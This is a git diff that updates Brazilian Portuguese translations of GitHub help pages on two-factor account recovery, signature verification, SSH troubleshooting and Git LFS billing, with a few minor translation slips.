-If you know your {% data variables.product.product_name %} password but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process and regain access to your account.
+Se você sabe sua senha do {% data variables.product.product_name %} mas não tem credenciais de autenticação de dois fatores ou seus códigos de recuperação de autenticação de dois fatores, você pode ter uma senha única enviada para o seu endereço de e-mail verificado para começar o processo de verificação e recuperar o acesso à sua conta.
 
 {% note %}
 
-**Note**: For security reasons, regaining access to your account by authenticating with a one-time password can take 3-5 business days. Additional requests submitted during this time will not be reviewed.
+**Observação**: Por razões de segurança, recuperar o acesso à sua conta efetuando a autenticação com uma senha única pode levar de 3 a 5 dias úteis. Os pedidos adicionais enviados durante este período não serão revisados.
 
 {% endnote %}
 
-You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period.
+Você pode usar as suas credenciais de autenticação de dois fatores ou os códigos de recuperação de dois fatores para recuperar o acesso à sua conta a qualquer momento no período de espera de 3 a 5 dias.
 
-1. Type your username and password to prompt authentication. If you do not know your {% data variables.product.product_name %} password, you will not be able to generate a one-time password.
-2. Under "Having Problems?", click **Can't access your two factor device or valid recovery codes?**
-  ![Link if you don't have your 2fa device or recovery codes](/assets/images/help/2fa/no-access-link.png)
-3. Click **I understand, get started** to request a reset of your authentication settings.
-  ![Reset authentication settings button](/assets/images/help/2fa/reset-auth-settings.png)
-4. Click **Send one-time password** to send a one-time password to all email addresses associated with your account.
-  ![Send one-time password button](/assets/images/help/2fa/send-one-time-password.png)
-5. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent.
-  ![One-time password field](/assets/images/help/2fa/one-time-password-field.png)
-6. Click **Verify email address**.
-7. Choose an alternative verification factor.
-    - If you've used your current device to log into this account before and would like to use the device for verification, click **Verify with this device**.
-    - If you've previously set up an SSH key on this account and would like to use the SSH key for verification, click **SSH key**.
-    - If you've previously set up a personal access token and would like to use the personal access token for verification, click **Personal access token**.
-  ![Alternative verification buttons](/assets/images/help/2fa/alt-verifications.png)
-8. A member of {% data variables.contact.github_support %} will review your request and email you within 3-5 business days. If your request is approved, you'll receive a link to complete your account recovery process. If your request is denied, the email will include a way to contact support with any additional questions.
+1. Digite seu nome de usuário e senha para solicitar autenticação. Se você não sabe sua senha de {% data variables.product.product_name %}, você não poderá gerar uma senha única.
+2. Em "Encontrou algum problema?", clique em **Não consegue acessar seu dispositivo de dois fatores ou códigos de recuperação válidos?** ![Faça o link, se você não tiver seu dispositivo de 2FA ou códigos de recuperação](/assets/images/help/2fa/no-access-link.png)
+3. Clique em **Eu entendo, começar** para solicitar uma redefinição das suas configurações de autenticação. ![Botão de redefinição da configuração de autenticação](/assets/images/help/2fa/reset-auth-settings.png)
+4. Clique em **Enviar senha de uso único** para enviar uma senha de uso único para todos os endereços de e-mail associados à sua conta. ![Botão para enviar a senha de uso único](/assets/images/help/2fa/send-one-time-password.png)
+5. Em "Única senha", digite a senha temporária do endereço e-mail de recuperação {% data variables.product.prodname_dotcom %} enviada. ![Campo para a senha de uso único](/assets/images/help/2fa/one-time-password-field.png)
+6. Clique **Verificar endereço de e-mail**.
+7. Escolha um fator de verificação alternativo.
+    - Se você usou seu dispositivo atual para acessar essa conta antes e gostaria de usar o dispositivo para verificação, clique em **Verificar com este dispositivo**.
+    - Se você já configurou uma chave SSH nesta conta e gostaria de usar a chave SSH para verificação, clique na **chave SSH**.
+    - Se você já configurou um token de acesso pessoal anteriormente e gostaria de usar o token de acesso pessoal para verificação, clique em **Token de acesso pessoal**. ![Botões de verificação alternativa](/assets/images/help/2fa/alt-verifications.png)
+8. Um integrante do {% data variables.contact.github_support %} irá rever a sua solicitação e o seu endereço de e-mail de 3 a 5 dias úteis. Se a sua solicitação for aprovada, você receberá um link para concluir o processo de recuperação de conta. Se sua solicitação for negada, o e-mail incluirá uma forma de entrar em contato com o suporte para esclarecer outras dúvidas.
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
+- [Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication)"
+- "[Configurar a autenticação de dois fatores](/articles/configuring-two-factor-authentication)"
+- "[Configurar métodos de recuperação de autenticação de dois fatores](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Acessar o {% data variables.product.prodname_dotcom %} usando a autenticação de dois fatores](/articles/accessing-github-using-two-factor-authentication)"
diff --git a/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
index 38e0b87865..c303e793d3 100644
--- a/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
+++ b/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
@@ -1,6 +1,6 @@
 ---
-title: Checking your commit and tag signature verification status
-intro: 'You can check the verification status of your commit and tag signatures on {% data variables.product.product_name %}.'
+title: Confirmar o status de verificação da assinatura do commit e da tag
+intro: 'Você pode conferir o status da verificação da assinatura do commit e da tag no {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/checking-your-gpg-commit-and-tag-signature-verification-status
   - /articles/checking-your-commit-and-tag-signature-verification-status
@@ -14,30 +14,26 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Check verification status
+shortTitle: Verificar status da verificação
 ---
-## Checking your commit signature verification status
 
-1. On {% data variables.product.product_name %}, navigate to your pull request.
+## Confirmar o status de verificação da assinatura do commit
+
+1. No {% data variables.product.product_name %}, navegue até sua pull request.
 {% data reusables.repositories.review-pr-commits %}
-3. Next to your commit's abbreviated commit hash, there is a box that shows whether your commit signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
-4. To view more detailed information about the commit signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**.
-![Verified signed commit](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
+3. Ao lado do hash do commit abreviado do seu commit, há uma caixa que mostra se a assinatura do seu commit foi verificada{% ifversion fpt or ghec %}, parcialmente verificada{% endif %} ou não verificada. ![Commit assinado](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+4. Para ver informações mais detalhadas sobre a assinatura de commit, clique em **Verificado**{% ifversion fpt or ghec %}, **Parcialmente verificado**,{% endif %} ou **Não verificado**. ![Commit assinado verificado](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
 
-## Checking your tag signature verification status
+## Confirmar o status de verificação da assinatura da tag
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
-3. Next to your tag description, there is a box that shows whether your tag signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![verified tag signature](/assets/images/help/commits/gpg-signed-tag-verified.png)
-4. To view more detailed information about the tag signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. 
-![Verified signed tag](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
+2. Na parte superior da página Versões, clique em **Tags**. ![Página de tags](/assets/images/help/releases/tags-list.png)
+3. Ao lado da descrição da sua tag, há uma caixa que mostra se a assinatura da tag é verificada{% ifversion fpt or ghec %}, parcialmente verificado,{% endif %} ou não verificada. ![assinatura de tag verificada](/assets/images/help/commits/gpg-signed-tag-verified.png)
+4. Para ver informações mais detalhadas sobre a assinatura do marcador, clique em **Verificado**{% ifversion fpt or ghec %}, **Parcialmente verificado**,{% endif %} ou **Não verificado**. ![Tag assinada verificada](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
 
-## Further reading
+## Leia mais
 
-- "[About commit signature verification](/articles/about-commit-signature-verification)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- "[Sobre a verificação de assinatura de commit](/articles/about-commit-signature-verification)"
+- "[Assinar commits](/articles/signing-commits)"
+- "[Assinar tags](/articles/signing-tags)"
diff --git a/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/index.md b/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/index.md
index 46abaa90df..f2c8da3833 100644
--- a/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/index.md
+++ b/translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting commit signature verification
-intro: 'You may need to troubleshoot unexpected issues that arise when signing commits locally for verification on {% data variables.product.product_name %}.'
+title: Solucionar problemas de verificação de assinatura de commit
+intro: 'Talvez você precise solucionar problemas inesperados ao assinar commits localmente para verificação no {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/troubleshooting-gpg
   - /articles/troubleshooting-commit-signature-verification
@@ -17,6 +17,6 @@ children:
   - /checking-your-commit-and-tag-signature-verification-status
   - /updating-an-expired-gpg-key
   - /using-a-verified-email-address-in-your-gpg-key
-shortTitle: Troubleshoot verification
+shortTitle: Verificação da solução de problemas
 ---
 
diff --git a/translations/pt-BR/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/translations/pt-BR/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
index 1f852e1bcf..15486f6181 100644
--- a/translations/pt-BR/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
+++ b/translations/pt-BR/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
@@ -1,6 +1,6 @@
 ---
-title: 'Error: Agent admitted failure to sign'
-intro: 'In rare circumstances, connecting to {% data variables.product.product_name %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.'
+title: 'Erro: agente com falha ao entrar'
+intro: 'Em raras circunstâncias, a conexão com o {% data variables.product.product_name %} via SSH no Linux produz o erro "Agente com falha ao entrar usando a chave". Siga estas etapas para resolver o problema.'
 redirect_from:
   - /articles/error-agent-admitted-failure-to-sign-using-the-key
   - /articles/error-agent-admitted-failure-to-sign
@@ -13,40 +13,41 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Agent failure to sign
+shortTitle: Falha do agente ao assinar
 ---
-When trying to SSH into {% data variables.product.product_location %} on a Linux computer, you may see the following message in your terminal:
+
+Ao tentar se conectar via SSH ao {% data variables.product.product_location %} em um computador Linux, você poderá receber a seguinte mensagem:
 
 ```shell
 $ ssh -vT git@{% data variables.command_line.codeblock %}
 > ...
-> Agent admitted failure to sign using the key.
-> debug1: No more authentication methods to try.
-> Permission denied (publickey).
+> Agente com falha ao entrar usando a chave.
+> debug1: Não há mais métodos de autenticação para tentar.
+> Permissão negada (publickey).
 ```
 
-For more details, see <a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>this issue report</a>.
+Para ver mais detalhes, consulte <a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>este relatório de problemas</a>.
 
-## Resolution
+## Resolução
 
-You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`:
+Para corrigir esse erro, carregue suas chaves no agente SSH com `ssh-add`:
 
 ```shell
-# start the ssh-agent in the background
+# Inicie o ssh-agent em segundo plano
 $ eval "$(ssh-agent -s)"
 > Agent pid 59566
 $ ssh-add
-> Enter passphrase for /home/<em>you</em>/.ssh/id_rsa: <em>[tippy tap]</em>
-> Identity added: /home/<em>you</em>/.ssh/id_rsa (/home/<em>you</em>/.ssh/id_rsa)
+> Insira a frase secreta para /home/<em>you</em>/.ssh/id_rsa: <em>[tippy tap]</em>
+> Identidade adicionadafrase secreta: /home/<em>you</em>/.ssh/id_rsa (/home/<em>you</em>/.ssh/id_rsa)
 ```
 
-If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`:
+Se a chave não tiver o nome de arquivo padrão (`/.ssh/id_rsa`), você precisará passar esse caminho para `ssh-add`:
 
 ```shell
-# start the ssh-agent in the background
+# Inicie o ssh-agent em segundo plano
 $ eval "$(ssh-agent -s)"
 > Agent pid 59566
 $ ssh-add ~/.ssh/my_other_key
-> Enter passphrase for /home/<em>you</em>/.ssh/my_other_key: <em>[tappity tap tap]</em>
-> Identity added: /home/<em>you</em>/.ssh/my_other_key (/home/<em>you</em>/.ssh/my_other_key)
+> Insira a frase secreta para /home/<em>you</em>/.ssh/my_other_key: <em>[tappity tap tap]</em>
+> Identidade adicionada: /home/<em>you</em>/.ssh/my_other_key (/home/<em>you</em>/.ssh/my_other_key)
 ```
diff --git a/translations/pt-BR/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/translations/pt-BR/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
index 9041475e84..f25504a7a2 100644
--- a/translations/pt-BR/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
+++ b/translations/pt-BR/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
@@ -1,6 +1,6 @@
 ---
-title: 'Error: Unknown key type'
-intro: 'This error means that the SSH key type you used was unrecognized or is unsupported by your SSH client. '
+title: 'Erro: Tipo de chave desconhecido'
+intro: Este erro significa que o tipo de chave SSH que você usou não foi reconhecido ou não é compatível com o seu cliente SSH.
 versions:
   fpt: '*'
   ghes: '>=3.2'
@@ -12,27 +12,28 @@ redirect_from:
   - /github/authenticating-to-github/error-unknown-key-type
   - /github/authenticating-to-github/troubleshooting-ssh/error-unknown-key-type
 ---
-## About the `unknown key type` error
 
-When you generate a new SSH key, you may receive an `unknown key type` error if your SSH client does not support the key type that you specify.{% mac %}To solve this issue on macOS, you can update your SSH client or install a new SSH client.
+## Sobre o erro `tipo de chave desconhecida`
 
-## Prerequisites
+Ao gerar uma nova chave SSH, você pode receber um erro `tipo de chave desconhecida` se o seu cliente SSH não for compatível com o tipo de chave que você especificou.{% mac %}Para resolver este problema no macOS, você pode atualizar seu cliente SSH ou instalar um novo cliente SSH.
 
-You must have Homebrew installed. For more information, see the [installation guide](https://docs.brew.sh/Installation) in the Homebrew documentation.
+## Pré-requisitos
 
-## Solving the issue
+Você deve ter o Homebrew instalado. Para obter mais informações, consulte o [guia de instalação](https://docs.brew.sh/Installation) na documentação do Homebrew.
+
+## Resolver o problema
 
 {% warning %}
 
-**Warning:** If you install OpenSSH, your computer will not be able to retrieve passphrases that are stored in the Apple keychain. You will need to enter your passphrase or interact with your hardware security key every time you authenticate with SSH to {% data variables.product.prodname_dotcom %} or another web service.
+**Aviso:** Se você instalar o OpenSSH, o seu computador não cnseguirá recuperar as senhas armazenadas na keychain da Apple. Você precisará digitar sua senha ou interagir com a chave de segurança de hardware toda vez que você efetuar a autenticação com SSH em {% data variables.product.prodname_dotcom %} ou outro serviço da web.
 
-If you remove OpenSSH, the passphrases that are stored in your keychain will once again be retrievable. You can remove OpenSSH by entering the command `brew uninstall openssh` in Terminal.
+Se você remover o OpenSSH, as frases secretas armazenadas na sua keychain serão recuperáveis novamente. Você pode remover o OpenSSH digitando o comando `brew uninstall openssh` no Terminal.
 
 {% endwarning %}
 
-1. Open Terminal.
-2. Enter the command `brew install openssh`.
-3. Quit and relaunch Terminal.
-4. Try the procedure for generating a new SSH key again. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)."
+1. Abra o terminal.
+2. Insira o comando `brew install openssh`.
+3. Saia e reinicie o Terminal.
+4. Tente o procedimento para gerar uma nova chave SSH novamente. Para obter mais informações, consulte "[Gerar uma nova chave SSH e adicioná-la ao ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)".
 
-{% endmac %}{% linux %}To solve this issue on Linux, use the package manager for your Linux distribution to install a new version of OpenSSH, or compile a new version from source. If you install a different version of OpenSSH, the ability of other applications to authenticate via SSH may be affected. For more information, review the documentation for your distribution.{% endlinux %}
+{% endmac %}{% linux %}Para resolver este problema no Linux, use o gerenciador de pacotes para sua distribuição do Linux para instalar uma nova versão do OpenSSH, ou compilar uma nova versão da fonte. Se você instalar uma versão diferente do OpenSSH, a possibilidade de outras aplicações efetuarem a autenticação via SSH poderá ser afetada. Para mais informações, consulte a documentação da sua distribuição.{% endlinux %}
diff --git a/translations/pt-BR/content/authentication/troubleshooting-ssh/index.md b/translations/pt-BR/content/authentication/troubleshooting-ssh/index.md
index b7b79529d9..b26af9c00b 100644
--- a/translations/pt-BR/content/authentication/troubleshooting-ssh/index.md
+++ b/translations/pt-BR/content/authentication/troubleshooting-ssh/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting SSH
-intro: 'When using SSH to connect and authenticate to {% data variables.product.product_name %}, you may need to troubleshoot unexpected issues that may arise.'
+title: Solucionar problemas de SSH
+intro: 'Ao usar o SSH para se conectar e autenticar no {% data variables.product.product_name %}, talvez você precise solucionar problemas inesperados que podem surgir.'
 redirect_from:
   - /articles/troubleshooting-ssh
   - /github/authenticating-to-github/troubleshooting-ssh
diff --git a/translations/pt-BR/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/translations/pt-BR/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
index e8e60da730..3e7cb4d9d4 100644
--- a/translations/pt-BR/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
+++ b/translations/pt-BR/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your SSH key passphrase
-intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.'
+title: Recuperar frase secreta da chave SSH
+intro: 'Se você perder a frase secreta da chave SSH, poderá recuperá-la ou gerar uma nova, dependendo do sistema operacional usado.'
 redirect_from:
   - /articles/how-do-i-recover-my-passphrase
   - /articles/how-do-i-recover-my-ssh-key-passphrase
@@ -14,31 +14,30 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Recover SSH key passphrase
+shortTitle: Recuperar a frase secreta da chave SSH
 ---
+
 {% mac %}
 
-If you [configured your SSH passphrase with the macOS keychain](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it.
+Se você [configurou sua frase secreta de SSH com a keychain do macOS](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), você poderá recuperá-la.
 
-1. In Finder, search for the **Keychain Access** app.
-   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
-2. In Keychain Access, search for **SSH**.
-3. Double click on the entry for your SSH key to open a new dialog box.
-4. In the lower-left corner, select **Show password**.
-   ![Keychain access dialog](/assets/images/help/setup/keychain_show_password_dialog.png)
-5. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box.
-6. Your password will be revealed.
+1. Procure o app **Keychain Access** (Acesso a keychain) no Finder (Localizador). ![Barra de pesquisa do Spotlight](/assets/images/help/setup/keychain-access.png)
+2. No Acesso às Chaves, pesquise **SSH**.
+3. Clique duas vezes na entrada da chave SSH para abrir uma nova caixa de diálogo.
+4. No canto inferior esquerdo, selecione **Mostrar senha**. ![Caixa de diálogo Acesso às Chaves](/assets/images/help/setup/keychain_show_password_dialog.png)
+5. A senha de administrador será solicitada. Insira a senha na caixa de diálogo "Acesso às Chaves".
+6. A senha será exibida.
 
 {% endmac %}
 
 {% windows %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/managing-remote-repositories) so you can use your GitHub password instead.
+Se você perder a frase secreta da chave SSH, não haverá como recuperá-la. Você precisará [gerar uma nova chave SSH](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) ou [mudar para o clone HTTPS](/github/getting-started-with-github/managing-remote-repositories) para poder usar a senha do GitHub.
 
 {% endwindows %}
 
 {% linux %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls) so you can use your GitHub password instead.
+Se você perder a frase secreta da chave SSH, não haverá como recuperá-la. Você precisará [gerar uma nova chave SSH](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) ou [mudar para o clone HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls) para poder usar a senha do GitHub.
 
 {% endlinux %}
diff --git a/translations/pt-BR/content/billing/index.md b/translations/pt-BR/content/billing/index.md
index 067b356ef5..25037ef8d4 100644
--- a/translations/pt-BR/content/billing/index.md
+++ b/translations/pt-BR/content/billing/index.md
@@ -1,7 +1,7 @@
 ---
-title: Billing and payments on GitHub
-shortTitle: Billing and payments
-intro: '{% ifversion fpt %}{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade or downgrade your account''s subscription and manage your billing settings at any time.{% elsif ghec or ghes or ghae %}{% data variables.product.company_short %} bills for your enterprise members'' {% ifversion ghec or ghae %}usage of {% data variables.product.product_name %}{% elsif ghes %} licence seats for {% data variables.product.product_name %}{% ifversion ghes > 3.0 %} and any additional services that you purchase{% endif %}{% endif %}. {% endif %}{% ifversion ghec %} You can view your subscription and manage your billing settings at any time. {% endif %}{% ifversion fpt or ghec %} You can also view usage and manage spending limits for {% data variables.product.product_name %} features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_codespaces %}.{% endif %}'
+title: Cobrança e pagamentos no GitHub
+shortTitle: Faturamento e pagamentos
+intro: '{% ifversion fpt %}{% data variables.product.product_name %} oferece produtos grátis e pagos para cada conta. Você pode atualizar ou rebaixar a assinatura da sua conta e gerenciar suas configurações de faturamento a qualquer momento.{% elsif ghec or ghes or ghae %}{% data variables.product.company_short %} cobra dos integrantes da sua empresa {% ifversion ghec or ghae %}uso de {% data variables.product.product_name %}{% elsif ghes %} estações de licença para {% data variables.product.product_name %}{% ifversion ghes > 3.0 %} e quaisquer serviços adicionais que você comprar{% endif %}{% endif %}. {% endif %}{% ifversion ghec %} Você pode visualizar a sua assinatura e gerenciar as suas configurações de cobrança a qualquer momento. {% endif %}{% ifversion fpt or ghec %} Você também pode visualizar uso e gerenciar limites de gastos para funcionalidades de {% data variables.product.product_name %} como {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, e {% data variables.product.prodname_codespaces %}.{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github
   - /categories/setting-up-and-managing-billing-and-payments-on-github
@@ -18,7 +18,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  popular: 
+  popular:
     - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-actions/about-billing-for-github-actions{% endif %}'
@@ -27,8 +27,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  guideCards:  
-    - /billing/managing-your-github-billing-settings/removing-a-payment-method
+  guideCards:
     - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process
     - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}'
@@ -54,4 +53,5 @@ children:
   - /managing-billing-for-github-marketplace-apps
   - /managing-billing-for-git-large-file-storage
   - /setting-up-paid-organizations-for-procurement-companies
----
\ No newline at end of file
+---
+
diff --git a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
index 3fd9e67aef..66da793d29 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading Git Large File Storage
-intro: 'You can downgrade storage and bandwidth for {% data variables.large_files.product_name_short %} by increments of 50 GB per month.'
+title: Fazer downgrade do Git Large File Storage
+intro: 'Você pode fazer downgrade de armazenamento e largura de banda do {% data variables.large_files.product_name_short %} em incrementos de 50 GB por mês.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage
   - /articles/downgrading-storage-and-bandwidth-for-a-personal-account
@@ -16,18 +16,19 @@ topics:
   - LFS
   - Organizations
   - User account
-shortTitle: Downgrade Git LFS storage
+shortTitle: Fazer downgrade no armazenamento do LFS do Git
 ---
-When you downgrade your number of data packs, your change takes effect on your next billing date. For more information, see "[About billing for {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)."
 
-## Downgrading storage and bandwidth for a personal account
+Quando você faz downgrade do número de pacotes de dados, as alterações entram em vigor na próxima data de cobrança. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)".
+
+## Fazer downgrade de armazenamento e largura de banda de uma conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.lfs-remove-data %}
 {% data reusables.large_files.downgrade_data_packs %}
 
-## Downgrading storage and bandwidth for an organization
+## Fazer downgrade de armazenamento e largura de banda de uma organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
diff --git a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/index.md b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/index.md
index 1705e89890..36d1e2a53a 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/index.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for Git Large File Storage
+title: Gerenciar a cobrança do Git Large File Storage
 shortTitle: Git Large File Storage
-intro: 'You can view usage for, upgrade, and downgrade {% data variables.large_files.product_name_long %}.'
+intro: 'Você pode visualizar a utilização, atualizar e fazer downgrade do {% data variables.large_files.product_name_long %}.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage
   - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account
diff --git a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
index 524d077114..b3d4eb1865 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading Git Large File Storage
-intro: 'You can purchase additional data packs to increase your monthly bandwidth quota and total storage capacity for {% data variables.large_files.product_name_short %}.'
+title: Atualizar o Git Large File Storage
+intro: 'Você pode comprar pacotes de dados adicionais para aumentar a cota de largura de banda mensal e a capacidade total de armazenamento do {% data variables.large_files.product_name_short %}.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage
   - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account
@@ -16,9 +16,10 @@ topics:
   - Organizations
   - Upgrades
   - User account
-shortTitle: Upgrade Git LFS storage
+shortTitle: Atualizar armazenamento do LFS do Git
 ---
-## Purchasing additional storage and bandwidth for a personal account
+
+## Comprar mais armazenamento e largura de banda para uma conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -26,7 +27,7 @@ shortTitle: Upgrade Git LFS storage
 {% data reusables.large_files.pack_selection %}
 {% data reusables.large_files.pack_confirm %}
 
-## Purchasing additional storage and bandwidth for an organization
+## Comprar mais armazenamento e largura de banda para uma organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
@@ -35,9 +36,9 @@ shortTitle: Upgrade Git LFS storage
 {% data reusables.large_files.pack_selection %}
 {% data reusables.large_files.pack_confirm %}
 
-## Further reading
+## Leia mais
 
-- "[About billing for {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)"
